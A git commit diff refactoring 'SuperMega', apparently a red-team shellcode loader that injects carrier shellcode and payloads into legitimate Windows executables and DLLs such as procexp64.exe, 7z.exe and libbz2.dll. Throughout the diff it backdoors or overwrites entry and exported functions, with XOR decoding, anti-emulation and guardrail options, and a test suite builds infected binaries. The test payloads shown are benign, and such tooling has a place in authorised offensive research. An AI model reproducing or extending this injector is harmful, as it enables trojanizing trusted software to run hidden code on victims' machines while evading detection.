refactor: injector (EOP -> overwrite)

This commit is contained in:
Dobin Rutishauser
2025-06-21 14:06:50 +02:00
parent 1db212de53
commit a782fd0842
7 changed files with 319 additions and 303 deletions
+1 -1
View File
@@ -189,7 +189,7 @@ def add_project():
settings.decoder_style = "xor_2"
settings.carrier_name = "alloc_rw_rx"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
settings.payload_location = PayloadLocation.CODE
settings.fix_missing_iat = True
settings.plugin_antiemulation = "sirallocalot"
+8 -12
View File
@@ -1,10 +1,13 @@
from enum import Enum
import os
# FilePath type for better clarity in the code
class FilePath(str):
pass
# with data/shellcodes/createfile.bin
# for data/shellcodes/createfile.bin
VerifyFilename: FilePath = FilePath("C:\\Temp\\a")
# Input Binary
@@ -23,19 +26,16 @@ PATH_VIRTUALPROTECT = "data/source/virtualprotect/"
PATH_WEB_PROJECT = "projects/"
CODE_INJECT_SIZE_CHECK_ADD = 128
class PayloadLocation(Enum):
CODE = ".text"
DATA = ".rdata"
class CarrierInvokeStyle(Enum):
ChangeEntryPoint = "change EntryPoint"
BackdoorCallInstr = "backdoor Entrypoint"
class FunctionInvokeStyle(Enum):
peb_walk = "peb_walk"
iat_reuse = "iat_reuse"
OverwriteFunc = "Overwrite Function"
BackdoorFunc = "Backdoor Function"
class PeRelocEntry():
@@ -60,7 +60,3 @@ class IatEntry():
def __str__(self):
return "IatEntry: dll_name: {} func_name: {} iat_vaddr: 0x{:X}".format(
self.dll_name, self.func_name, self.iat_vaddr)
CODE_INJECT_SIZE_CHECK_ADD = 128
+1 -1
View File
@@ -23,7 +23,7 @@ class Settings():
# Config
self.carrier_name: str = ""
self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr
self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorFunc
self.decoder_style: str = "xor_2"
self.payload_location: PayloadLocation = PayloadLocation.DATA
self.short_call_patching: bool = False
+1 -1
View File
@@ -400,7 +400,7 @@ class SuperPe():
# Add the difference to the section's pointer to raw data
physical_address = section.PointerToRawData + virtual_offset
return physical_address
raise Exception("Cant translate VA to offset")
raise Exception("Cant translate VA 0x{:X} to offset".format(virtual_address))
def write_pe_to_file(self, outfile: str):
+113 -101
View File
@@ -2,7 +2,7 @@ from helper import *
import logging
import time
import logging
from typing import Dict, List
from typing import Dict, List, Tuple
from model.injectable import Injectable, DataReuseEntry, DataReuseReference
from pe.pehelper import *
@@ -44,76 +44,97 @@ class Injector():
self.payload_rva: int = 0
self.carrier_rva: int = 0
self.init_addresses()
def init_addresses(self):
if self.settings.payload_location == PayloadLocation.CODE:
#. text
# ┌───────────┬─────────────────────────────────────┬───────┐
# │ ├───────────────────────────────────┤ │
# │ │Carrier │ 1 Page │ Payload │ │
# │ ├────────┼────────┼───────────────────┤ │
# └──────────────────────────────────────────────────────
#
# Payload is page aligned when used with dll_loader_change
# ┌───────────┬─────────────────────────────────────┬───────┐
# │ ├────────┼────────┼───────────────────┤ │
# │ │Carrier │ 1 Page │ Payload │ │
# │ ───────────────────────────────────┤ │
# └────────────────────────────────────────────────┴───────┘
#
# .text .rdata
# ─────────────────────────┐ ┌────────────────────────
# │ │ │ │ │ │ │ │
# │ │ carrier │ │ │ │payload │ │
# │ │ │ │ │ │ │ │
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
# carrier location
complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
largest_gap = self.code_manager.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
# Backdoor
def get_random_data_payload_rva(self) -> int:
complete_size = len(self.payload.payload_data)
largest_gap = self.rdata_manager.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = largest_gap[0][0]
# payload location: behind carrier + 1 page
if self.settings.carrier_name == "dll_loader_change":
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + 4096
self.payload_rva = self.payload_rva & 0xFFFFF000 # page align
else:
# no page align
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096
rdata_section = self.superpe.get_section_by_name(".rdata")
if rdata_section == None:
raise Exception("No .rdata section found in PE file")
self.rdata_manager.add_range(offset, offset+len(self.payload.payload_data))
payload_rva = rdata_section.virt_addr + offset
#self.payload_rva = payload_rva
return payload_rva
# Backdoor
def get_random_code_carrier_rva(self) -> int:
complete_size = len(self.carrier_shc)
largest_gap = self.code_manager.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
return carrier_rva
# Backdoor
def get_random_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]:
complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
largest_gap = self.code_manager.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
# payload location: behind carrier + 1 page
if self.settings.carrier_name == "dll_loader_change":
payload_rva = carrier_rva + len(self.carrier_shc) + 4096 + 4096
payload_rva = payload_rva & 0xFFFFF000 # page align
else:
# .text .rdata
# ┌─────────┬─────────┬───────┐ ┌────────┬─────────┬───────┐
# │ │ │ │ │ │ │ │
# │ │ carrier │ │ │ │payload │ │
# │ │ │ │ │ │ │ │
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
# no page align
payload_rva = carrier_rva + len(self.carrier_shc) + 4096
# carrier location
complete_size = len(self.carrier_shc)
largest_gap = self.code_manager.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
return payload_rva, carrier_rva
# payload location
complete_size = len(self.payload.payload_data)
largest_gap = self.rdata_manager.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = largest_gap[0][0]
# Overwrite
def get_func_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]:
func_addr = self.superpe.get_entrypoint()
rdata_section = self.superpe.get_section_by_name(".rdata")
if rdata_section == None:
raise Exception("No .rdata section found in PE file")
self.payload_rva = rdata_section.virt_addr + offset
self.rdata_manager.add_range(offset, offset+len(self.payload.payload_data))
carrier_rva = func_addr
payload_rva = carrier_rva + len(self.carrier_shc)
return payload_rva, carrier_rva
# Overwrite
def get_func_code_carrier_rva(self) -> int:
func_addr = self.superpe.get_entrypoint()
carrier_rva = func_addr
return carrier_rva
## Inject
def inject_exe(self):
exe_in = self.settings.get_inject_exe_in()
exe_out = self.settings.get_inject_exe_out()
carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style
logger.info("-[ Injecting Carrier into injectable".format())
logger.info(" Injectable: {} -> {}".format(exe_in, exe_out))
@@ -125,58 +146,49 @@ class Injector():
carrier_shc_len = len(self.carrier_shc)
carrier_offset: int = 0 # file offset
# Special case: DLL exported function direct overwrite
if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info(" Inject DLL: Overwrite exported function {} with shellcode".format(self.settings.dllfunc))
rva = self.superpe.getExportEntryPoint(self.settings.dllfunc)
if self.settings.carrier_invoke_style == CarrierInvokeStyle.OverwriteFunc:
if self.settings.payload_location == PayloadLocation.CODE:
# Carrier and Payload both in .text section in a function
self.payload_rva, self.carrier_rva = self.get_func_carrier_and_payload_rva_in_code()
elif self.settings.payload_location == PayloadLocation.DATA:
# Carrier in a function, Payload random in data section
self.carrier_rva = self.get_func_code_carrier_rva() ### BUGBUGBUG
self.payload_rva = self.get_random_data_payload_rva()
# Size and sanity checks
function_size = self.superpe.get_size_of_exported_function(self.settings.dllfunc)
if carrier_shc_len >= function_size:
logger.warning(" Oups, Shellcode larger than function {}: {} > {}. Continue anyway.".format(
self.settings.dllfunc, carrier_shc_len, function_size
))
# Inject
carrier_offset = self.superpe.get_offset_from_rva(rva)
logger.info(f'- Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite')
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
else: # EXE/DLL
# copy carrier shellcode into the code section (at func)
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
#logger.info("{} {}".format(self.carrier_rva, carrier_offset))
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
logger.info(" Inject: Write Carrier to 0x{:X} (0x{:X})".format(
self.carrier_rva, carrier_offset))
# Copy the carrier
elif self.settings.carrier_invoke_style == CarrierInvokeStyle.BackdoorFunc:
if self.settings.payload_location == PayloadLocation.CODE:
# Carrier and Payload depend on each other (both are in .text)
self.payload_rva, self.carrier_rva = self.get_random_carrier_and_payload_rva_in_code()
elif self.settings.payload_location == PayloadLocation.DATA:
# Carrier and Payload are independent
self.payload_rva = self.get_random_data_payload_rva()
self.carrier_rva = self.get_random_code_carrier_rva()
# copy carrier shellcode into the code section
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
logger.info(" Inject: Write Carrier to 0x{:X} (0x{:X})".format(
self.carrier_rva, carrier_offset))
# rewire flow to the carrier
if self.superpe.is_dll() and self.settings.dllfunc != "": # DLL
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Handled above
raise Exception("We should not land here")
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = self.superpe.getExportEntryPoint(self.settings.dllfunc)
logger.info(" Backdoor DLL {} (0x{:X})".format(
self.settings.dllfunc, addr))
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
else: # EXE
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info(" Change Entry Point to 0x{:X}".format(
self.carrier_rva))
self.superpe.set_entrypoint(self.carrier_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = self.superpe.get_entrypoint()
logger.info(" Backdoor function at entrypoint (0x{:X})".format(
addr))
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
# backdoor the function (usually main())
backdoor_func_addr: int = None
if self.settings.dllfunc == "":
backdoor_func_addr = self.superpe.get_entrypoint()
else:
pass
logger.info(" Backdoor function {} (0x{:X})".format(
self.settings.dllfunc, backdoor_func_addr))
self.function_backdoorer.backdoor_function(
backdoor_func_addr, self.carrier_rva, carrier_shc_len)
# Make the injected carrier work, integrate it into the PE
self.injectable_write_iat_references()
self.inject_and_reference_data()
+30 -24
View File
@@ -28,6 +28,10 @@ def main():
check_deps()
settings = Settings("commandline")
if not os.path.exists(settings.project_path):
logger.info("Creating project directory: {}".format(settings.project_path))
os.makedirs(settings.project_path)
parser = argparse.ArgumentParser(description='SuperMega shellcode loader')
parser.add_argument('--shellcode', type=str, help='payload shellcode: data/binary/shellcodes/* (messagebox.bin, calc64.bin, ...)', default="calc64.bin")
parser.add_argument('--inject', type=str, help='which exe to inject into: data/binary/injectables/* (7z.exe, procexp64.exe, ...)', default="procexp64.exe")
@@ -37,7 +41,9 @@ def main():
parser.add_argument('--guardrail', type=str, help='guardrails: Enable execution guardrails', default="none")
parser.add_argument('--guardrail-key', type=str, help='guardrails: key', default="")
parser.add_argument('--guardrail-value', type=str, help='guardrails: value', default="")
parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"eop\" for entry point', choices=["eop", "backdoor"], default="backdoor")
parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"overwrite\" to overwrite function', choices=["overwrite", "backdoor"], default="backdoor")
parser.add_argument('--dllfunc', type=str, help='The DLL function use for carrier_invoke', default="")
parser.add_argument('--payload_location', type=str, help='where to put the payload: "code" or "data"', choices=[".code", ".rdata"], default=".rdata" )
parser.add_argument('--no-fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=False)
parser.add_argument('--start', action='store_true', help='Start the infected executable at the end for testing')
@@ -55,9 +61,8 @@ def main():
else:
setup_logging(logging.INFO)
# IN:
# Shellcode: filename
# Inject: filename
# IN: Shellcode: filename
# IN: Inject: filename
settings.injectable_base = args.inject
settings.payload_base = args.shellcode
@@ -66,32 +71,33 @@ def main():
settings.cleanup_files_on_start = not args.no_clean_at_start
settings.cleanup_files_on_exit =not args.no_clean_at_exit
# Settings
# Misc
settings.fix_missing_iat = not args.no_fix_iat
if args.short_call_patching:
settings.short_call_patching = True
# Main 1
settings.decoder_style = args.decoder
settings.carrier_name = args.carrier
settings.plugin_antiemulation = args.antiemulation
# Main 2
if args.payload_location == ".code":
settings.payload_location = PayloadLocation.CODE
elif args.payload_location == ".rdata":
settings.payload_location = PayloadLocation.DATA
if args.carrier_invoke == "overwrite":
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
elif args.carrier_invoke == "backdoor":
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
# Plugins
if args.guardrail:
settings.plugin_guardrail = args.guardrail
settings.plugin_guardrail_data_key = args.guardrail_key
settings.plugin_guardrail_data_value = args.guardrail_value
settings.decoder_style = args.decoder
settings.carrier_name = args.carrier
if args.payload_location == ".code":
settings.payload_location = PayloadLocation.CODE
elif args.payload_location == ".rdata":
settings.payload_location = PayloadLocation.DATA
if args.short_call_patching:
settings.short_call_patching = True
if args.carrier_invoke == "eop":
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
elif args.carrier_invoke == "backdoor":
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.plugin_antiemulation = args.antiemulation
if not os.path.exists(settings.project_path):
logger.info("Creating project directory: {}".format(settings.project_path))
os.makedirs(settings.project_path)
# Start it
exit_code = start(settings)
exit(exit_code)
+165 -163
View File
@@ -32,12 +32,15 @@ def main():
match sys.argv[1]:
case "all":
test_common()
test_dll_loader()
test_exe_code()
test_exe_data()
test_exe_code()
test_dll_code()
test_dll_data()
test_dll_loader()
case "common":
test_common()
case "dll_loader":
@@ -57,22 +60,21 @@ def main():
def test_common():
print("Testing: COMMON A")
print("Testing: COMMON procexp64.exe, alloc_rw_rwx, PayloadLocation.DATA, BackdoorFunc")
settings = Settings("unittest")
settings.injectable_base = "procexp64.exe"
settings.payload_base = "createfile.bin"
settings.payload_location = PayloadLocation.DATA
settings.carrier_name = "alloc_rw_rwx" # important (not rx)
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
settings.cleanup_files_on_exit = False
print("Test COMMON 1/6: plain")
settings.decoder_style = "plain"
settings.carrier_name = "alloc_rw_rwx" # important (not rx)
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
@@ -86,8 +88,6 @@ def test_common():
if not start(settings):
return
print("Testing: COMMON B")
print("Test COMMON 4/6: +guardrail env")
settings.plugin_guardrail = "env"
settings.plugin_guardrail_data_key = "VCIDEInstallDir"
@@ -106,6 +106,162 @@ def test_common():
return
def test_exe_data():
print("Testing EXE: Payload in .data")
settings = Settings("unittest")
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.DATA
settings.carrier_name = "alloc_rw_rwx" # important (not rx)
# EXE: PROCEXP
settings.injectable_base = "procexp64.exe"
print("Test EXE DATA 1/8: procexp, overwrite-main")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test EXE DATA 2/8: procexp, backdoor-main")
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
# EXE: 7Z
settings.injectable_base = "7z.exe"
print("Test EXE DATA 5/8: 7z, overwrite-main")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test EXE DATA 6/4: 7z, backdoor-main")
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
def test_exe_code():
print("Testing: EXEs: Payload in .text")
settings = Settings("unittest")
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
settings.carrier_name = "alloc_rw_rwx" # important (not rx)
# EXE 7Z
settings.injectable_base = "7z.exe"
print("Test EXE CODE 1/8: 7z, overwrite-main")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test EXE CODE 2/8: 7z, backdoor-main")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
# EXE procexp64.exe
settings.injectable_base = "procexp64.exe"
print("Test EXE CODE 5/8: procexp, overwrite-main")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test EXE CODE 6/8: procexp, backdoor-main")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
def test_dll_code():
print("Testing: DLLs code")
settings = Settings("unittest")
settings.injectable_base = "libbz2.dll"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
print("Test DLL 1/4: libbz2.dll, peb-walk, overwrite-func dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test DLL 2/4: libbz2.dll, peb-walk, hijack dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
print("Test DLL 3/4: libbz2.dll, peb-walk, overwrite-func, func=BZ2_bzDecompress")
settings.dllfunc = "BZ2_bzDecompressInit"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test DLL 4/4: libbz2.dll, peb-walk, hijack main, func=BZ2_bzdopen")
settings.dllfunc = "BZ2_bzdopen"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
def test_dll_data():
print("Testing: DLLs data")
settings = Settings("unittest")
settings.injectable_base = "libbz2.dll"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.DATA
settings.carrier_name = "peb_walk"
###########settings.fix_missing_iat = True
# func = ""
print("Test DLL 1/4: libbz2.dll, overwrite-dllMain")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test DLL 1/4: libbz2.dll, backdoor-dllMain")
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
# func = "BZ2_bzDecompressInit"
settings.dllfunc = "BZ2_bzDecompressInit"
print("Test DLL 3/4: libbz2.dll, overwrite=BZ2_bzDecompress")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test DLL 4/4: libbz2.dll, backdoor=BZ2_bzDecompress")
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
def test_dll_loader():
print("Testing: DLL Loader")
settings = Settings("unittest")
@@ -126,161 +282,7 @@ def test_dll_loader():
settings.carrier_name = "dll_loader_change"
if not start(settings):
return
def test_exe_code():
print("Testing: EXEs: Inject payload into .text")
settings = Settings("unittest")
settings.injectable_base = "7z.exe"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
# 7z, peb-walk, change-entrypoint
print("Test EXE 1/4: 7z, peb-walk, change-entrypoint")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
# 7z, peb-walk, hijack
print("Test EXE 2/4: 7z, peb-walk, hijack main")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
settings.injectable_base = "procexp64.exe"
# procexp, iat-reuse, change-entrypoint
print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
# procexp, iat-reuse, backdoor
print("Test EXE 4/4: procexp, iat-reuse, backdoor")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
def test_exe_data():
print("Testing: EXEs: Inject into .data")
settings = Settings("unittest")
settings.injectable_base = "7z.exe"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.DATA
# 7z, peb-walk, change-entrypoint
print("Test EXE 1/4: 7z, peb-walk, change-entrypoint")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
# 7z, peb-walk, hijack
print("Test EXE 2/4: 7z, peb-walk, hijack main")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
settings.injectable_base = "procexp64.exe"
# procexp, iat-reuse, change-entrypoint
print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
# procexp, iat-reuse, backdoor
print("Test EXE 4/4: procexp, iat-reuse, backdoor")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
def test_dll_code():
print("Testing: DLLs code")
settings = Settings("unittest")
settings.injectable_base = "libbz2.dll"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
print("Test DLL 1/4: libbz2.dll, peb-walk, change-entrypoint dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
print("Test DLL 2/4: libbz2.dll, peb-walk, hijack dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
print("Test DLL 3/4: libbz2.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress")
settings.dllfunc = "BZ2_bzDecompress"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
print("Test DLL 4/4: libbz2.dll, peb-walk, hijack main, func=BZ2_bzdopen")
settings.dllfunc = "BZ2_bzdopen"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
def test_dll_data():
print("Testing: DLLs data")
settings = Settings("unittest")
settings.injectable_base = "libbz2.dll"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.DATA
print("Test DLL 1/4: libbz2.dll, peb-walk, change-entrypoint dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
print("Test DLL 2/4: libbz2.dll, peb-walk, hijack dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
print("Test DLL 3/4: libbz2.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress")
settings.dllfunc = "BZ2_bzDecompress"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
print("Test DLL 4/4: libbz2.dll, peb-walk, hijack main, func=BZ2_bzdopen")
settings.dllfunc = "BZ2_bzdopen"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
if __name__ == "__main__":
main()